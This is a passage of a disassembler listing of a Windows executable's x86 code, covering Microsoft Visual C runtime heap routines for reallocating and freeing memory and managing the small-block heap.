[ebp+arg_4], 0FFFFFFE0h ja short loc_423CFC cmp [ebp+arg_4], 0 jbe short loc_423CF5 mov eax, [ebp+arg_4] add eax, 0Fh and al, 0F0h mov [ebp+arg_4], eax jmp short loc_423CFC ; --------------------------------------------------------------------------- loc_423CF5: ; CODE XREF: sub_423A90+256j mov [ebp+arg_4], 10h loc_423CFC: ; CODE XREF: sub_423A90+250j ; sub_423A90+263j ... mov [ebp+Dst], 0 cmp [ebp+arg_4], 0FFFFFFE0h ja loc_423E7A push 9 call __lock add esp, 4 mov [ebp+var_4], 1 lea ecx, [ebp+var_2C] push ecx lea edx, [ebp+var_38] push edx mov eax, [ebp+Src] push eax call ___sbh_find_block_0 add esp, 0Ch mov [ebp+var_30], eax cmp [ebp+var_30], 0 jz loc_423E47 mov ecx, [ebp+arg_4] cmp ecx, dword_453CEC jnb loc_423DD8 mov edx, [ebp+arg_4] shr edx, 4 push edx mov eax, [ebp+var_30] push eax mov ecx, [ebp+var_2C] push ecx mov edx, [ebp+var_38] push edx call ___sbh_resize_block_0 add esp, 10h test eax, eax jz short loc_423D75 mov eax, [ebp+Src] mov [ebp+Dst], eax jmp short loc_423DD8 ; --------------------------------------------------------------------------- loc_423D75: ; CODE XREF: sub_423A90+2DBj mov ecx, [ebp+arg_4] shr ecx, 4 push ecx call ___sbh_alloc_block_0 add esp, 4 mov [ebp+Dst], eax cmp [ebp+Dst], 0 jz short loc_423DD8 mov edx, [ebp+var_30] xor eax, eax mov al, [edx] shl eax, 4 mov [ebp+var_34], eax mov ecx, [ebp+var_34] cmp ecx, [ebp+arg_4] jnb short loc_423DAA mov edx, [ebp+var_34] mov [ebp+var_44], edx jmp short loc_423DB0 ; --------------------------------------------------------------------------- loc_423DAA: ; CODE XREF: sub_423A90+310j mov eax, [ebp+arg_4] mov [ebp+var_44], eax loc_423DB0: ; CODE XREF: sub_423A90+318j mov ecx, [ebp+var_44] push ecx ; Size mov edx, [ebp+Src] push edx ; Src mov eax, [ebp+Dst] push eax ; Dst call _memcpy add esp, 0Ch mov ecx, [ebp+var_30] push ecx mov edx, [ebp+var_2C] push edx mov eax, [ebp+var_38] push eax call ___sbh_free_block add esp, 0Ch loc_423DD8: ; CODE XREF: sub_423A90+2B8j ; sub_423A90+2E3j ... cmp [ebp+Dst], 0 jnz short loc_423E45 mov ecx, [ebp+arg_4] push ecx push 0 mov edx, dword_4F3BE8 push edx call ds:dword_4F5418 ; RtlAllocateHeap mov [ebp+Dst], eax cmp [ebp+Dst], 0 jz short loc_423E45 mov eax, [ebp+var_30] xor ecx, ecx mov cl, [eax] shl ecx, 4 mov [ebp+var_34], ecx mov edx, [ebp+var_34] cmp edx, [ebp+arg_4] jnb short loc_423E17 mov eax, [ebp+var_34] mov [ebp+var_48], eax jmp short loc_423E1D ; --------------------------------------------------------------------------- loc_423E17: ; CODE XREF: sub_423A90+37Dj mov ecx, [ebp+arg_4] mov [ebp+var_48], ecx loc_423E1D: ; CODE XREF: sub_423A90+385j mov edx, [ebp+var_48] push edx ; Size mov eax, [ebp+Src] push eax ; Src mov ecx, [ebp+Dst] push ecx ; Dst call _memcpy add esp, 0Ch mov edx, [ebp+var_30] push edx mov eax, [ebp+var_2C] push eax mov ecx, [ebp+var_38] push ecx call ___sbh_free_block add esp, 0Ch loc_423E45: ; CODE XREF: sub_423A90+34Cj ; sub_423A90+368j jmp short loc_423E61 ; --------------------------------------------------------------------------- loc_423E47: ; CODE XREF: sub_423A90+2A9j mov edx, [ebp+arg_4] push edx mov eax, [ebp+Src] push eax push 0 mov ecx, dword_4F3BE8 push ecx call ds:dword_4F54AC ; RtlReAllocateHeap mov [ebp+Dst], eax loc_423E61: ; CODE XREF: sub_423A90:loc_423E45j mov [ebp+var_4], 0FFFFFFFFh call sub_423E6F jmp short loc_423E7A ; END OF FUNCTION CHUNK FOR sub_423A90 ; =============== S U B R O U T I N E ======================================= sub_423E6F proc near ; CODE XREF: sub_423A90+3D8p ; DATA XREF: .rdata:0043D08Co push 9 call __unlock add esp, 4 retn sub_423E6F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423A90 loc_423E7A: ; CODE XREF: sub_423A90+277j ; sub_423A90+3DDj cmp [ebp+Dst], 0 jnz short loc_423E89 cmp dword_4F3584, 0 jnz short loc_423E91 loc_423E89: ; CODE XREF: sub_423A90+3EEj mov eax, [ebp+Dst] jmp loc_423F12 ; --------------------------------------------------------------------------- loc_423E91: ; CODE XREF: sub_423A90+3F7j mov edx, [ebp+arg_4] push edx call __callnewh add esp, 4 test eax, eax jnz short loc_423EA5 xor eax, eax jmp short loc_423F12 ; --------------------------------------------------------------------------- loc_423EA5: ; CODE XREF: sub_423A90+40Fj jmp loc_423CFC ; --------------------------------------------------------------------------- loc_423EAA: ; CODE XREF: sub_423A90+246j ; sub_423A90:loc_423F10j mov [ebp+Dst], 0 cmp [ebp+arg_4], 0FFFFFFE0h ja short loc_423EE8 cmp [ebp+arg_4], 0 jnz short loc_423EC4 mov [ebp+arg_4], 1 loc_423EC4: ; CODE XREF: sub_423A90+42Bj mov eax, [ebp+arg_4] add eax, 0Fh and al, 0F0h mov [ebp+arg_4], eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+Src] push edx push 0 mov eax, dword_4F3BE8 push eax call ds:dword_4F54AC ; RtlReAllocateHeap mov [ebp+Dst], eax loc_423EE8: ; CODE XREF: sub_423A90+425j cmp [ebp+Dst], 0 jnz short loc_423EF7 cmp dword_4F3584, 0 jnz short loc_423EFC loc_423EF7: ; CODE XREF: sub_423A90+45Cj mov eax, [ebp+Dst] jmp short loc_423F12 ; --------------------------------------------------------------------------- loc_423EFC: ; CODE XREF: sub_423A90+465j mov ecx, [ebp+arg_4] push ecx call __callnewh add esp, 4 test eax, eax jnz short loc_423F10 xor eax, eax jmp short loc_423F12 ; --------------------------------------------------------------------------- loc_423F10: ; CODE XREF: sub_423A90+47Aj jmp short loc_423EAA ; --------------------------------------------------------------------------- loc_423F12: ; CODE XREF: sub_423A90+3Bj ; sub_423A90+54j ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_423A90 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423F30 proc near ; CODE XREF: sub_41CCE0+26Ep ; sub_41CCE0+3B2p ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 00423FB6 SIZE 00000077 BYTES ; FUNCTION CHUNK AT 00424038 SIZE 0000003E BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_43D090 push offset unknown_libname_3 ; Microsoft VisualC 2-8/net runtime mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFE8h push ebx push esi push edi cmp [ebp+arg_0], 0 jnz short loc_423F5E jmp loc_424065 ; --------------------------------------------------------------------------- loc_423F5E: ; CODE XREF: sub_423F30+27j cmp dword_4F3BEC, 3 jnz short loc_423FD4 push 9 call __lock add esp, 4 mov [ebp+var_4], 0 mov eax, [ebp+arg_0] push eax call ___sbh_find_block add esp, 4 mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jz short loc_423F9D mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_1C] push edx call sub_424410 add esp, 8 loc_423F9D: ; CODE XREF: sub_423F30+5Bj mov [ebp+var_4], 0FFFFFFFFh call sub_423FAB jmp short loc_423FB6 sub_423F30 endp ; =============== S U B R O U T I N E ======================================= sub_423FAB proc near ; CODE XREF: sub_423F30+74p ; DATA XREF: .rdata:0043D098o push 9 call __unlock add esp, 4 retn sub_423FAB endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423F30 loc_423FB6: ; CODE XREF: sub_423F30+79j cmp [ebp+var_1C], 0 jnz short loc_423FCF mov eax, [ebp+arg_0] push eax push 0 mov ecx, dword_4F3BE8 push ecx call ds:dword_4F5414 ; RtlFreeHeap loc_423FCF: ; CODE XREF: sub_423F30+8Aj jmp loc_424065 ; --------------------------------------------------------------------------- loc_423FD4: ; CODE XREF: sub_423F30+35j cmp dword_4F3BEC, 2 jnz short loc_424052 push 9 call __lock add esp, 4 mov [ebp+var_4], 1 lea edx, [ebp+var_20] push edx lea eax, [ebp+var_28] push eax mov ecx, [ebp+arg_0] push ecx call ___sbh_find_block_0 add esp, 0Ch mov [ebp+var_24], eax cmp [ebp+var_24], 0 jz short loc_42401F mov edx, [ebp+var_24] push edx mov eax, [ebp+var_20] push eax mov ecx, [ebp+var_28] push ecx call ___sbh_free_block add esp, 0Ch loc_42401F: ; CODE XREF: sub_423F30+D9j mov [ebp+var_4], 0FFFFFFFFh call sub_42402D jmp short loc_424038 ; END OF FUNCTION CHUNK FOR sub_423F30 ; =============== S U B R O U T I N E ======================================= sub_42402D proc near ; CODE XREF: sub_423F30+F6p ; DATA XREF: .rdata:0043D0A4o push 9 call __unlock add esp, 4 retn sub_42402D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423F30 loc_424038: ; CODE XREF: sub_423F30+FBj cmp [ebp+var_24], 0 jnz short loc_424050 mov edx, [ebp+arg_0] push edx push 0 mov eax, dword_4F3BE8 push eax call ds:dword_4F5414 ; RtlFreeHeap loc_424050: ; CODE XREF: sub_423F30+10Cj jmp short loc_424065 ; --------------------------------------------------------------------------- loc_424052: ; CODE XREF: sub_423F30+ABj mov ecx, [ebp+arg_0] push ecx push 0 mov edx, dword_4F3BE8 push edx call ds:dword_4F5414 ; RtlFreeHeap loc_424065: ; CODE XREF: sub_423F30+29j ; sub_423F30:loc_423FCFj ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_423F30 ; --------------------------------------------------------------------------- align 10h ; [00000062 BYTES: COLLAPSED FUNCTION unknown_libname_6. PRESS KEYPAD "+" TO EXPAND] ; [0000000B BYTES: COLLAPSED FUNCTION sub_4240E2. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; [0000003A BYTES: COLLAPSED CHUNK OF FUNCTION unknown_libname_6. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_424127 proc near ; CODE XREF: unknown_libname_6+A0p ; DATA XREF: .rdata:0043D0BCo push 9 call __unlock add esp, 4 retn sub_424127 endp ; --------------------------------------------------------------------------- ; [00000052 BYTES: COLLAPSED CHUNK OF FUNCTION unknown_libname_6. PRESS KEYPAD "+" TO EXPAND] align 10h push ebp mov ebp, esp call unknown_libname_6 ; Microsoft VisualC 2-8/net runtime pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp cmp dword_4F3BEC, 3 jnz short loc_4241B3 mov eax, dword_4F3C0C jmp short loc_4241C5 ; --------------------------------------------------------------------------- loc_4241B3: ; CODE XREF: .text:004241AAj cmp dword_4F3BEC, 2 jnz short loc_4241C3 mov eax, dword_453CEC jmp short loc_4241C5 ; --------------------------------------------------------------------------- loc_4241C3: ; CODE XREF: .text:004241BAj xor eax, eax loc_4241C5: ; CODE XREF: .text:004241B1j ; .text:004241C1j pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword_4F3BEC, 3 jnz short loc_4241FF cmp dword ptr [ebp+8], 3F8h ja short loc_4241F8 mov eax, [ebp+8] mov dword_4F3C0C, eax mov eax, 1 jmp loc_4242D6 ; --------------------------------------------------------------------------- loc_4241F8: ; CODE XREF: .text:004241E4j xor eax, eax jmp loc_4242D6 ; --------------------------------------------------------------------------- loc_4241FF: ; CODE XREF: .text:004241DBj cmp dword_4F3BEC, 2 jnz short loc_424237 mov ecx, [ebp+8] add ecx, 0Fh and ecx, 0FFFFFFF0h mov [ebp+8], ecx cmp dword ptr [ebp+8], 780h ja short loc_424230 mov edx, [ebp+8] mov dword_453CEC, edx mov eax, 1 jmp loc_4242D6 ; --------------------------------------------------------------------------- loc_424230: ; CODE XREF: .text:0042421Bj xor eax, eax jmp loc_4242D6 ; --------------------------------------------------------------------------- loc_424237: ; CODE XREF: .text:00424206j cmp dword_4F3BEC, 1 jnz loc_4242D4 cmp dword ptr [ebp+8], 0 jbe loc_4242D4 lea eax, [ebp-4] push eax call sub_426E90 add esp, 4 mov ecx, [ebp-4] and ecx, 0FFh cmp ecx, 6 jl short loc_42429C cmp dword ptr [ebp+8], 3F8h ja short loc_42429A mov edx, [ebp+8] push edx call ___sbh_heap_init add esp, 4 test eax, eax jz short loc_42429A mov eax, [ebp+8] mov dword_4F3C0C, eax mov dword_4F3BEC, 3 mov eax, 1 jmp short loc_4242D6 ; --------------------------------------------------------------------------- loc_42429A: ; CODE XREF: .text:0042426Fj ; .text:0042427Fj jmp short loc_4242D4 ; --------------------------------------------------------------------------- loc_42429C: ; CODE XREF: .text:00424266j mov ecx, [ebp+8] add ecx, 0Fh and ecx, 0FFFFFFF0h mov [ebp+8], ecx cmp dword ptr [ebp+8], 780h ja short loc_4242D4 call ___sbh_new_region test eax, eax jz short loc_4242D4 mov edx, [ebp+8] mov dword_453CEC, edx mov dword_4F3BEC, 2 mov eax, 1 jmp short loc_4242D6 ; --------------------------------------------------------------------------- loc_4242D4: ; CODE XREF: .text:0042423Ej ; .text:00424248j ... xor eax, eax loc_4242D6: ; CODE XREF: .text:004241F3j ; .text:004241FAj ... mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; [00000062 BYTES: COLLAPSED FUNCTION ___sbh_heap_init. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000055 BYTES: COLLAPSED FUNCTION ___sbh_find_block. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000005F BYTES: COLLAPSED FUNCTION ___sbh_verify_block. PRESS KEYPAD "+" TO EXPAND] align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424410 proc near ; CODE XREF: sub_423A90+132p ; sub_423A90+1B2p ... var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 3Ch mov eax, [ebp+arg_0] mov ecx, [eax+10h] mov [ebp+var_3C], ecx mov edx, [ebp+arg_0] mov eax, [ebp+arg_4] sub eax, [edx+0Ch] mov [ebp+var_10], eax mov ecx, [ebp+var_10] shr ecx, 0Fh mov [ebp+var_4], ecx mov edx, [ebp+var_4] imul edx, 204h mov eax, [ebp+var_3C] lea ecx, [eax+edx+144h] mov [ebp+var_8], ecx mov edx, [ebp+arg_4] sub edx, 4 mov [ebp+var_1C], edx mov eax, [ebp+var_1C] mov ecx, [eax] sub ecx, 1 mov [ebp+var_30], ecx mov edx, [ebp+var_30] and edx, 1 test edx, edx jz short loc_42446D jmp loc_4249E8 ; --------------------------------------------------------------------------- loc_42446D: ; CODE XREF: sub_424410+56j mov eax, [ebp+var_1C] add eax, [ebp+var_30] mov [ebp+var_38], eax mov ecx, [ebp+var_38] mov edx, [ecx] mov [ebp+var_14], edx mov eax, [ebp+var_1C] mov ecx, [eax-4] mov [ebp+var_C], ecx mov edx, [ebp+var_14] and edx, 1 test edx, edx jnz loc_4245B7 mov eax, [ebp+var_14] sar eax, 4 sub eax, 1 mov [ebp+var_24], eax cmp [ebp+var_24], 3Fh jbe short loc_4244AE mov [ebp+var_24], 3Fh loc_4244AE: ; CODE XREF: sub_424410+95j mov ecx, [ebp+var_38] mov edx, [ebp+var_38] mov eax, [ecx+4] cmp eax, [edx+8] jnz loc_424590 cmp [ebp+var_24], 20h jnb short loc_424525 mov edx, 80000000h mov ecx, [ebp+var_24] shr edx, cl not edx mov eax, [ebp+var_4] mov ecx, [ebp+var_3C] mov eax, [ecx+eax*4+44h] and eax, edx mov ecx, [ebp+var_4] mov edx, [ebp+var_3C] mov [edx+ecx*4+44h], eax mov eax, [ebp+var_3C] add eax, [ebp+var_24] mov cl, [eax+4] sub cl, 1 mov edx, [ebp+var_3C] add edx, [ebp+var_24] mov [edx+4], cl mov eax, [ebp+var_3C] add eax, [ebp+var_24] movsx ecx, byte ptr [eax+4] test ecx, ecx jnz short loc_424523 mov edx, 80000000h mov ecx, [ebp+var_24] shr edx, cl not edx mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, edx mov edx, [ebp+arg_0] mov [edx], ecx loc_424523: ; CODE XREF: sub_424410+F9j jmp short loc_424590 ; --------------------------------------------------------------------------- loc_424525: ; CODE XREF: sub_424410+B4j mov ecx, [ebp+var_24] sub ecx, 20h mov eax, 80000000h shr eax, cl not eax mov ecx, [ebp+var_4] mov edx, [ebp+var_3C] mov ecx, [edx+ecx*4+0C4h] and ecx, eax mov edx, [ebp+var_4] mov eax, [ebp+var_3C] mov [eax+edx*4+0C4h], ecx mov ecx, [ebp+var_3C] add ecx, [ebp+var_24] mov dl, [ecx+4] sub dl, 1 mov eax, [ebp+var_3C] add eax, [ebp+var_24] mov [eax+4], dl mov ecx, [ebp+var_3C] add ecx, [ebp+var_24] movsx edx, byte ptr [ecx+4] test edx, edx jnz short loc_424590 mov ecx, [ebp+var_24] sub ecx, 20h mov eax, 80000000h shr eax, cl not eax mov ecx, [ebp+arg_0] mov edx, [ecx+4] and edx, eax mov eax, [ebp+arg_0] mov [eax+4], edx loc_424590: ; CODE XREF: sub_424410+AAj ; sub_424410:loc_424523j ... mov ecx, [ebp+var_38] mov edx, [ecx+8] mov eax, [ebp+var_38] mov ecx, [eax+4] mov [edx+4], ecx mov edx, [ebp+var_38] mov eax, [edx+4] mov ecx, [ebp+var_38] mov edx, [ecx+8] mov [eax+8], edx mov eax, [ebp+var_30] add eax, [ebp+var_14] mov [ebp+var_30], eax loc_4245B7: ; CODE XREF: sub_424410+7Fj mov ecx, [ebp+var_30] sar ecx, 4 sub ecx, 1 mov [ebp+var_28], ecx cmp [ebp+var_28], 3Fh jbe short loc_4245D0 mov [ebp+var_28], 3Fh loc_4245D0: ; CODE XREF: sub_424410+1B7j mov edx, [ebp+var_C] and edx, 1 test edx, edx jnz loc_424734 mov eax, [ebp+var_1C] sub eax, [ebp+var_C] mov [ebp+var_34], eax mov ecx, [ebp+var_C] sar ecx, 4 sub ecx, 1 mov [ebp+var_2C], ecx cmp [ebp+var_2C], 3Fh jbe short loc_424600 mov [ebp+var_2C], 3Fh loc_424600: ; CODE XREF: sub_424410+1E7j mov edx, [ebp+var_30] add edx, [ebp+var_C] mov [ebp+var_30], edx mov eax, [ebp+var_30] sar eax, 4 sub eax, 1 mov [ebp+var_28], eax cmp [ebp+var_28], 3Fh jbe short loc_424622 mov [ebp+var_28], 3Fh loc_424622: ; CODE XREF: sub_424410+209j mov ecx, [ebp+var_2C] cmp ecx, [ebp+var_28] jz loc_42472E mov edx, [ebp+var_34] mov eax, [ebp+var_34] mov ecx, [edx+4] cmp ecx, [eax+8] jnz loc_424710 cmp [ebp+var_2C], 20h jnb short loc_4246A5 mov edx, 80000000h mov ecx, [ebp+var_2C] shr edx, cl not edx mov eax, [ebp+var_4] mov ecx, [ebp+var_3C] mov eax, [ecx+eax*4+44h] and eax, edx mov ecx, [ebp+var_4] mov edx, [ebp+var_3C] mov [edx+ecx*4+44h], eax mov eax, [ebp+var_3C] add eax, [ebp+var_2C] mov cl, [eax+4] sub cl, 1 mov edx, [ebp+var_3C] add edx, [ebp+var_2C] mov [edx+4], cl mov eax, [ebp+var_3C] add eax, [ebp+var_2C] movsx ecx, byte ptr [eax+4] test ecx, ecx jnz short loc_4246A3 mov edx, 80000000h mov ecx, [ebp+var_2C] shr edx, cl not edx mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, edx mov edx, [ebp+arg_0] mov [edx], ecx loc_4246A3: ; CODE XREF: sub_424410+279j jmp short loc_424710 ; --------------------------------------------------------------------------- loc_4246A5: ; CODE XREF: sub_424410+234j mov ecx, [ebp+var_2C] sub ecx, 20h mov eax, 80000000h shr eax, cl not eax mov ecx, [ebp+var_4] mov edx, [ebp+var_3C] mov ecx, [edx+ecx*4+0C4h] and ecx, eax mov edx, [ebp+var_4] mov eax, [ebp+var_3C] mov [eax+edx*4+0C4h], ecx mov ecx, [ebp+var_3C] add ecx, [ebp+var_2C] mov dl, [ecx+4] sub dl, 1 mov eax, [ebp+var_3C] add eax, [ebp+var_2C] mov [eax+4], dl mov ecx, [ebp+var_3C] add ecx, [ebp+var_2C] movsx edx, byte ptr [ecx+4] test edx, edx jnz short loc_424710 mov ecx, [ebp+var_2C] sub ecx, 20h mov eax, 80000000h shr eax, cl not eax mov ecx, [ebp+arg_0] mov edx, [ecx+4] and edx, eax mov eax, [ebp+arg_0] mov [eax+4], edx loc_424710: ; CODE XREF: sub_424410+22Aj ; sub_424410:loc_4246A3j ... mov ecx, [ebp+var_34] mov edx, [ecx+8] mov eax, [ebp+var_34] mov ecx, [eax+4] mov [edx+4], ecx mov edx, [ebp+var_34] mov eax, [edx+4] mov ecx, [ebp+var_34] mov edx, [ecx+8] mov [eax+8], edx loc_42472E: ; CODE XREF: sub_424410+218j mov eax, [ebp+var_34] mov [ebp+var_1C], eax loc_424734: ; CODE XREF: sub_424410+1C8j mov ecx, [ebp+var_C] and ecx, 1 test ecx, ecx jnz short loc_42474A mov edx, [ebp+var_2C] cmp edx, [ebp+var_28] jz loc_42485A loc_42474A: ; CODE XREF: sub_424410+32Cj mov eax, [ebp+var_28] mov ecx, [ebp+var_8] lea edx, [ecx+eax*8] mov [ebp+var_20], edx mov eax, [ebp+var_1C] mov ecx, [ebp+var_20] mov edx, [ecx+4] mov [eax+4], edx mov eax, [ebp+var_1C] mov ecx, [ebp+var_20] mov [eax+8], ecx mov edx, [ebp+var_20] mov eax, [ebp+var_1C] mov [edx+4], eax mov ecx, [ebp+var_1C] mov edx, [ecx+4] mov eax, [ebp+var_1C] mov [edx+8], eax mov ecx, [ebp+var_1C] mov edx, [ebp+var_1C] mov eax, [ecx+4] cmp eax, [edx+8] jnz loc_42485A cmp [ebp+var_28], 20h jnb short loc_4247F3 mov ecx, [ebp+var_3C] add ecx, [ebp+var_28] movsx edx, byte ptr [ecx+4] mov eax, [ebp+var_3C] add eax, [ebp+var_28] mov cl, [eax+4] add cl, 1 mov eax, [ebp+var_3C] add eax, [ebp+var_28] mov [eax+4], cl test edx, edx jnz short loc_4247D1 mov edx, 80000000h mov ecx, [ebp+var_28] shr edx, cl mov eax, [ebp+arg_0] mov ecx, [eax] or ecx, edx mov edx, [ebp+arg_0] mov [edx], ecx loc_4247D1: ; CODE XREF: sub_424410+3A9j mov eax, 80000000h mov ecx, [ebp+var_28] shr eax, cl mov ecx, [ebp+var_4] mov edx, [ebp+var_3C] mov ecx, [edx+ecx*4+44h] or ecx, eax mov edx, [ebp+var_4] mov eax, [ebp+var_3C] mov [eax+edx*4+44h], ecx jmp short loc_42485A ; --------------------------------------------------------------------------- loc_4247F3: ; CODE XREF: sub_424410+386j mov ecx, [ebp+var_3C] add ecx, [ebp+var_28] movsx edx, byte ptr [ecx+4] mov eax, [ebp+var_3C] add eax, [ebp+var_28] mov cl, [eax+4] add cl, 1 mov eax, [ebp+var_3C] add eax, [ebp+var_28] mov [eax+4], cl test edx, edx jnz short loc_424831 mov ecx, [ebp+var_28] sub ecx, 20h mov edx, 80000000h shr edx, cl mov eax, [ebp+arg_0] mov ecx, [eax+4] or ecx, edx mov edx, [ebp+arg_0] mov [edx+4], ecx loc_424831: ; CODE XREF: sub_424410+404j mov ecx, [ebp+var_28] sub ecx, 20h mov eax, 80000000h shr eax, cl mov ecx, [ebp+var_4] mov edx, [ebp+var_3C] mov ecx, [edx+ecx*4+0C4h] or ecx, eax mov edx, [ebp+var_4] mov eax, [ebp+var_3C] mov [eax+edx*4+0C4h], ecx loc_42485A: ; CODE XREF: sub_424410+334j ; sub_424410+37Cj ... mov ecx, [ebp+var_1C] mov edx, [ebp+var_30] mov [ecx], edx mov eax, [ebp+var_1C] add eax, [ebp+var_30] mov ecx, [ebp+var_30] mov [eax-4], ecx mov edx, [ebp+var_8] mov eax, [edx] sub eax, 1 mov ecx, [ebp+var_8] mov [ecx], eax mov edx, [ebp+var_8] cmp dword ptr [edx], 0 jnz loc_4249E8 cmp Dst, 0 jz loc_4249D7 mov eax, dword_4F3BF4 shl eax, 0Fh mov ecx, Dst mov edx, [ecx+0Ch] add edx, eax mov [ebp+var_18], edx push 4000h push 8000h mov eax, [ebp+var_18] push eax call ds:dword_4F54B0 ; VirtualFree mov edx, 80000000h mov ecx, dword_4F3BF4 shr edx, cl mov eax, Dst mov ecx, [eax+8] or ecx, edx mov edx, Dst mov [edx+8], ecx mov eax, Dst mov ecx, [eax+10h] mov edx, dword_4F3BF4 mov dword ptr [ecx+edx*4+0C4h], 0 mov eax, Dst mov ecx, [eax+10h] mov dl, [ecx+43h] sub dl, 1 mov eax, Dst mov ecx, [eax+10h] mov [ecx+43h], dl mov edx, Dst mov eax, [edx+10h] movsx ecx, byte ptr [eax+43h] test ecx, ecx jnz short loc_424935 mov edx, Dst mov eax, [edx+4] and al, 0FEh mov ecx, Dst mov [ecx+4], eax loc_424935: ; CODE XREF: sub_424410+50Fj mov edx, Dst cmp dword ptr [edx+8], 0FFFFFFFFh jnz loc_4249D7 push 8000h push 0 mov eax, Dst mov ecx, [eax+0Ch] push ecx call ds:dword_4F54B0 ; VirtualFree mov edx, Dst mov eax, [edx+10h] push eax push 0 mov ecx, dword_4F3BE8 push ecx call ds:dword_4F5414 ; RtlFreeHeap mov edx, dword_4F3C04 imul edx, 14h mov eax, dword_4F3C08 add eax, edx mov ecx, Dst add ecx, 14h sub eax, ecx push eax ; Size mov edx, Dst add edx, 14h push edx ; Src mov eax, Dst push eax ; Dst call _memcpy_0 add esp, 0Ch mov ecx, dword_4F3C04 sub ecx, 1 mov dword_4F3C04, ecx mov edx, [ebp+arg_0] cmp edx, Dst jbe short loc_4249CB mov eax, [ebp+arg_0] sub eax, 14h mov [ebp+arg_0], eax loc_4249CB: ; CODE XREF: sub_424410+5B0j mov ecx, dword_4F3C08 mov dword_4F3BF8, ecx loc_4249D7: ; CODE XREF: sub_424410+47Ej ; sub_424410+52Fj mov edx, [ebp+arg_0] mov Dst, edx mov eax, [ebp+var_4] mov dword_4F3BF4, eax loc_4249E8: ; CODE XREF: sub_424410+58j ; sub_424410+471j mov esp, ebp pop ebp retn sub_424410 endp ; --------------------------------------------------------------------------- align 10h ; [00000536 BYTES: COLLAPSED FUNCTION ___sbh_alloc_block. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000010F BYTES: COLLAPSED FUNCTION ___sbh_alloc_new_region. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000001EE BYTES: COLLAPSED FUNCTION ___sbh_alloc_new_group. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000005EB BYTES: COLLAPSED FUNCTION ___sbh_resize_block. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000130 BYTES: COLLAPSED FUNCTION ___sbh_heapmin. PRESS KEYPAD "+" TO EXPAND] ; [0000061D BYTES: COLLAPSED FUNCTION ___sbh_heap_check. PRESS KEYPAD "+" TO EXPAND] align 10h push ebp mov ebp, esp mov eax, dword_453CEC pop ebp retn ; --------------------------------------------------------------------------- align 10h ; [0000002B BYTES: COLLAPSED FUNCTION __set_sbh_threshold. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000001DE BYTES: COLLAPSED FUNCTION ___sbh_new_region. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000073 BYTES: COLLAPSED FUNCTION ___sbh_release_region. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000157 BYTES: COLLAPSED FUNCTION ___sbh_decommit_pages. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000090 BYTES: COLLAPSED FUNCTION ___sbh_find_block_0. PRESS KEYPAD "+" TO EXPAND] ; [0000006C BYTES: COLLAPSED FUNCTION ___sbh_free_block. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000003B8 BYTES: COLLAPSED FUNCTION ___sbh_alloc_block_0. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000002A9 BYTES: COLLAPSED FUNCTION ___sbh_alloc_block_from_page. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000164 BYTES: COLLAPSED FUNCTION ___sbh_resize_block_0. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000237 BYTES: COLLAPSED FUNCTION ___sbh_heap_check_0. PRESS KEYPAD "+" TO EXPAND] align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426E90 proc near ; CODE XREF: .text:00424252p ; sub_426EF0+1FBp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 mov eax, [ebp+arg_0] mov dword ptr [eax], 0 push 0 call ds:dword_4F5370 ; GetModuleHandleA mov [ebp+var_8], eax mov ecx, [ebp+var_8] xor edx, edx mov dx, [ecx] cmp edx, 5A4Dh jnz short loc_426EC3 mov eax, [ebp+var_8] cmp dword ptr [eax+3Ch], 0 jnz short loc_426EC5 loc_426EC3: ; CODE XREF: sub_426E90+28j jmp short loc_426EE8 ; --------------------------------------------------------------------------- 